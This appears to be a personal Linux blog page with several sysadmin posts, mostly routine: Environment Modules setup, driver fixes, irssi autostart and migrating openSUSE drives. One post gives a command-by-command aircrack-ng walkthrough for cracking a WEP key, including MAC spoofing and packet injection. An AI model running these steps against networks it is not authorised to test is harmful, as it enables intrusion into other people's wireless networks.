Installing Environment Modules

Filed in Linux 13 Comments

It’s been a while since I’ve done a proper Linux post. I found Environmental Modules a while ago, and it is an utterly fantastic idea. From their blurb:

What are Environmental Modules?

The Environment Modules package provides for the dynamic modification of a user’s environment via modulefiles.

Each modulefile contains the information needed to configure the shell for an application. Once the Modules package is initialized, the environment can be modified on a per-module basis using the module command which interprets modulefiles. Typically modulefiles instruct the module command to alter or set shell environment variables such as PATH, MANPATH, etc. modulefiles may be shared by many users on a system and users may have their own collection to supplement or replace the shared modulefiles.

Modules can be loaded and unloaded dynamically and atomically, in an clean fashion. All popular shells are supported, including bash, ksh, zsh, sh, csh, tcsh, as well as some scripting languages such as perl.

Modules are useful in managing different versions of applications. Modules can also be bundled into metamodules that will load an entire suite of different applications.

Let’s install!

This tutorial assumes that you are logged in as root, on Debian.

Resolve dependencies

apt-get install tcl tcl8.4-dev

Get the package and untar it

wget http://downloads.sourceforge.net/project/modules/Modules/modules-3.2.9/modules-3.2.9c.tar.gz
tar xvvf modules-3.2.9c.tar.gz

Make the folders to store your packages and modulefiles

mkdir /packages && mkdir /modules

Go into the modules folder

cd modules-3.2.9

Setup the build

./configure --with-module-path=/modules/

Make and install it

make && make install

Edit the modulefiles path. Comment out all lines except /modules/

vim /usr/local/Modules/3.2.9/init/.modulespath

Copy the following file

cp etc/global/profile.modules /etc/profile.d/modules.sh

The file should be

#----------------------------------------------------------------------#
# system-wide profile.modules #
# Initialize modules for all sh-derivative shells #
#----------------------------------------------------------------------#
trap "" 1 2 3
 
MODULES=/usr/local/Modules/3.2.9
 
case "$0" in
    -bash|bash|*/bash) . $MODULES/init/bash ;;
       -ksh|ksh|*/ksh) . $MODULES/init/ksh ;;
          -sh|sh|*/sh) . $MODULES/init/sh ;;
                    *) . $MODULES/init/sh ;; # default for scripts
esac
 
trap - 1 2 3

Installing applications from source

So the install is complete, but how do you actually use modules? Let’s assume you want to use a different version of gcc that isn’t in your repo and you want to install gcc version 4.6.2. Download gcc, untar it and cd into the directory.

Create a directory for gcc-4.6.2 to be installed into.

mkdir /packages/gcc/4.6.2

Configure gcc to install to this directory.

./configure --prefix=/packages/gcc/4.6.2

Install as normal.

make && make install

If we look inside /packages/gcc/4.6.2, we’ll see a number of folder like bin, lib64, etc. So now we need to create the associated modulefile.

Creating module files

Above we specified that module files be placed in /modules, so that’s where we’ll put gcc’s module files.

Create a gcc directory, if there isn’t one

mkdir /modules/gcc

Add the associated module file

vim /modules/gcc/4.6.2

What’s in that file, then?

#%Module1.0
proc ModulesHelp { } {
global dotversion
 
puts stderr "\tGCC 4.6.2 (gcc, g++, gfortran)"
}
 
module-whatis "GCC 4.6.2 (gcc, g++, gfortran)"
conflict gcc
prepend-path PATH /packages/gcc/4.6.2/bin
prepend-path LD_LIBRARY_PATH /packages/gcc/4.6.2/lib64
prepend-path LIBRARY_PATH /packages/gcc/4.6.2/lib64
prepend-path MANPATH /packages/gcc/4.6.2/man
setenv CC gcc
setenv CXX g++
setenv FC gfortran
setenv F77 gfortran
setenv F90 gfortran

Modules allows you to set default versions of packages. So, say you have 4 versions of gcc, and you’d like the 4.6.2 as the default version, you can set it in a version file.

vim /modules/gcc/.version
#%Module1.0
set ModulesVersion "4.6.2"

How do I use modules?

Well, it’s about bloody time that we finally get to use the damn modules we’ve setup, otherwise you’d drive to my house and beat the piss out of me.

List the modules on your system with module avail.

[nick@zoidberg ~]$ module avail
 
---------------------------------- /modules/ -----------------------------------
gcc/4.6.2(default) haskell/ghc/7.0.4

The (default) means that I can just load gcc without specifying the version numbers.

Load a module on your system with module load

Before we do this, I’ll assure you it works.

[nick@zoidberg ~]$ gcc --version
gcc (Debian 4.4.5-8) 4.4.5

Let’s load gcc version 4.6.2

[nick@zoidberg ~]$ module load gcc/4.6.2
[nick@zoidberg ~]$ gcc --version
gcc (GCC) 4.6.2

We can also load this version of gcc without specifying the version number, as 4.6.2 is the default.

[nick@zoidberg ~]$ module load gcc
[nick@zoidberg ~]$ gcc --version
gcc (GCC) 4.6.2

See what modules are loaded

The modules loaded will always contain version numbers, if you’re install them into the same folder structure as myself.

[nick@zoidberg ~]$ module list
Currently Loaded Modulefiles:
  1) /gcc/4.6.2

Unloading modules

The syntax for unloading modules is the same as loading them.

[nick@zoidberg ~]$ module unload gcc
[nick@zoidberg ~]$ gcc --version
gcc (Debian 4.4.5-8) 4.4.5

Linux – We are the 1%

Filed in Linux Leave a comment

 

Issues with the NVIDIA 285.05.09 drivers on openSuSE 11.4

Filed in Linux Leave a comment

I came across an odd issue today with the Official NVIDIA Drivers on openSUSE. After updating the drivers, my external monitor would keep flickering and flashing regardless of the connection used (DVI or VGA).

Unfortunately, the repo doesn’t keep old versions of the drivers, so I wasn’t able to revert back to a good, known configuration and no one else seems to have this problem – as I doubt many people are running openSUSE on a MacBook Pro with the GeForce 9400M GPU.

The workaround is rather simple. Open up a shell, su up and run nvidia-settings. Go into PowerMizer and set the “Preferred Mode” to Prefer Maximum Preformance as per the screenshot below. Bingo, problem solved.

Automagically start irssi in a screen, on boot

Filed in Linux | Navit Leave a comment

Irssi Logo

I run a channel logger for Navit which is simply a screened irssi session on a server. Why an irssi session in a screen?

Well, the latter is obvious. The former is because, if my main irssi session – on another server – dies, I can “jump in” to the logging screen and let people know that there’s an issue.

The logging server may require a reboot remotely if it locks up, I’d like the logger to start back as soon as possible.

As root, edit /etc/rc.local with:

/bin/su normal_user_name -c "/usr/bin/screen -dmS irc_logger /usr/bin/irssi"

Since the ~/.irssi/config file contains all the details such as where to log to & what channels to join, I don’t need to worry about it!

Handy package – sysv-rc-conf

Filed in Linux Leave a comment

I recently re-discovered sysv-rc-conf. sysv-rc-conf is a lovely interface to view the runlevels of services in the the /etc/init.d/ directory via ncurses.

sysv-rc-conf is available in the Ubuntu and Debian repos, but sadly not available for openSUSE:

apt-get install sysv-rc-conf

Debian, as well as most of the distributions based on it, like early Ubuntu, does not make any distinction between runlevels 2 to 5.

 
ID Description
0 Halt
1 Single-User mode
25 Full Multi-User with console logins and display manager if installed
6 Reboot

Dealing with an unresponsive server

Filed in Linux Leave a comment

Say you have a server that is currently under very heavy load. Thankfully you’ve already had a shell open, but the load is so high, even a quick check of the load takes 5 minutes.

This is where the & is your friend. This single character will fork the process in the background, allowing it to be run at the CPU’s convenience.

Say this load is caused by multiple HTTP requests (tens of thousands) to your server, from a few IP addresses. One can use IPTables to drop a huge chunk of the packets from those IP addresses – mitigating the risk.

The following will limit all IP addresses to ten connection limit on port 80. This is, of course, if sudo still works – often times under high load sudo’ing up will break at checking if you’re in the sudoers list. In that case use su instead.

 sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset &

Now you can stop Apache, and give yourself some breathing room.

Ubuntu ruined my life

Filed in Linux 5 Comments

There are a few things wrong with this.

  1. $1100 for a “Bread and Butter” machine
  2. She should have made sure before ordering that the laptop had Windows.
  3. She could simply change operating systems
  4. Dell has a policy of shipping Linux to REDUCE costs. Every Dell purchase order clearly gives you the option of what OS you want. She decided on Linux (not Dell).
  5. She bought a computer with the “wrong OS”… big deal, that shouldn’t have stopped her from going to college – it’s just a lazy excuse.
  6. Ubuntu, and Linux in general, is painted in a very bad light by the news crew as “incompatible” and “useless”

Installing CEGCC on openSUSE 11.4

Filed in Linux | Navit Leave a comment

CEGCC is an a open source cross compiler for Windows CE. You can develop on a PC, and create apps that run on a WinCE device or a WinMo phone.

After moving hard drives I noticed that I had forgotten about the cross compiler, which is in /opt/ – therefore not covered by a package migration nor copying /home/. It was really easy to miss, I have to admit, as CEGCC’s 0.59.01 compiler isn’t available in YaST (or apt) – it’s just available as a binary blob that you copy into /opt/.

How do I reinstall CEGCC, then?

Head on over to the download page and get the arm-mingw32ce tarball.

tar xvvf mingw32ce-0.59.1.tar.bz2
cd opt
sudo cp -r mingw32ce /opt/

I keep getting config errors!

I discovered that openSUSE 11.4 supplies different versions of two libraries, which will break the Navit configuration of the cross compiler. These are libgmp.so.3 and libmpfr.so.1. You will need to add in these libraries from the 11.3 repo.

Libgmp is available as a 1-Click-Install, as is libmpfr1

This does NOT affect people who have upgraded from 11.3, only fresh installs of 11.4. Please do NOT symlink other versions of the same library, or you’ll end up with strange memory issues and lots of coredumps.

Breaking WEP using Backtrack 3

Filed in Linux 2 Comments

I had a bet with a friend of mine (for a case of beer) that I could crack a fake WEP encrypted access point in under 5 minutes using my rather old Packard Bell Easynote Skype Edition.

There are a few things to note, I used an old WEP only router that I was about to dump. I never saw the password and couldn’t ask for hints. I also found out that my piece of shit laptop can’t be booted from a DVD, hence having to use Backtrack 3 instead of Backtrack 5.

After Backtrack 3 was downloaded, burnt to disk, booted up and a shell opened.

The drivers loaded automagically are the wrong ones. If you have the Easynote Skype edition, you’ll notice this as the WiFi light on the Wifi button fails to come on.

Unload the wireless drivers

modprobe -r iwl3945

Load in the correct drivers

modprobe ipwraw

Stop the Wireless card

airmon-ng stop wifi0
ifconfig wifi0 down

Change the MAC address

macchanger --mac 00:11:22:33:44:55 wifi0

Start up Airmon, to monitor the AP in the area

airmon-ng wifi0

After finding the access point, and noting it’s BSSID and Channel

airodump-ng -c CHANNEL_NUMBER -w FILE.OUT --bssid BSSID_HERE wifi0

Open up a new terminal, leaving airodump to run in Terminal 1.

Inject some fake packets on Terminal 2

aireplay-ng -1 0 -b BSSID_HERE -h 00:11:22:33:44:55 wifi0

Airodump’s #Data column should start filling up. When it gets to about 100, kill the injection.

In Terminal 2, we’ll replay the packets we faked earlier

aireplay-ng -3 -b BSSID_HERE -h 00:11:22:33:44:55 wifi0

You should now see the # Data shoot up! Leave it run until #Data reaches about 50k. Close Terminal 2 and kill airodump in Terminal 1.

aircrack-ng -b BSSID_HERE FILE.OUT.cap

After about 15 seconds, you should have the wireless password.

Moving hard drives on openSUSE

Filed in Linux 1 Comment

Since upgrading to openSUSE 11.4, I’ve been getting warnings about the hard drive dying – Thank you SMART disk monitoring! I’ve customized my openSUSE install a fair bit, and really didn’t want to setup everything again. Here’s what I did.

  • Ordered new hard drive and waited for it to arrive
  • Did a package dump with zypper
rpm -qa --queryformat '%{name}\n' > package_list.txt
  • Removed the dodgy hard drive and installed the new hard drive
  • Ran the openSUSE 11.4 installer and installed the base
  • Booted up the new system
  • Attached the old hard drive via a PATA to USB connector
  • Brought up a terminal and moved the files across
su
cd /home
mv USERNAME USERNAME-bak
cd /media/EXTERNAL-HARDDRIVE/home
cp -prf  USERNAME/ /home/
  • While the files were being moved over I setup the external repositories again
  • Open a new terminal and go into the correct folder for the package dump list
zypper in $(cat package_list.txt)
  • Sit back and wait for the packages to be rebuilt, and the files to move over.
  • When the files have been moved over, the ownerships need to be changed.
cd /home/
chown USERNAME.users USERNAME/
cd USERNAME/
find . -user root -exec chown USERNAME.users {} \;
  • Now if you logout and log back in, your system should be pretty much the same way it was before you had to move drives.

Why, I hear you ask, should I bother doing all this?

  1. You get all the packages you used to use from repos (non repo packages need to be installed manually)
  2. Your Evolution emails don’t need to be reimported from the server
  3. Bookmarks, saved passwords and tabs are exactly the way you left them for FireFox and Chrome
  4. Pidgin will have all your settings
  5. Your keyring, including all the wireless passwords, are exactly the same.
  6. Desktop alterations such as locations of panels, background, screensaver, etc, are exactly the same
  7. I’m lazy and didn’t want to setup everything again

TOP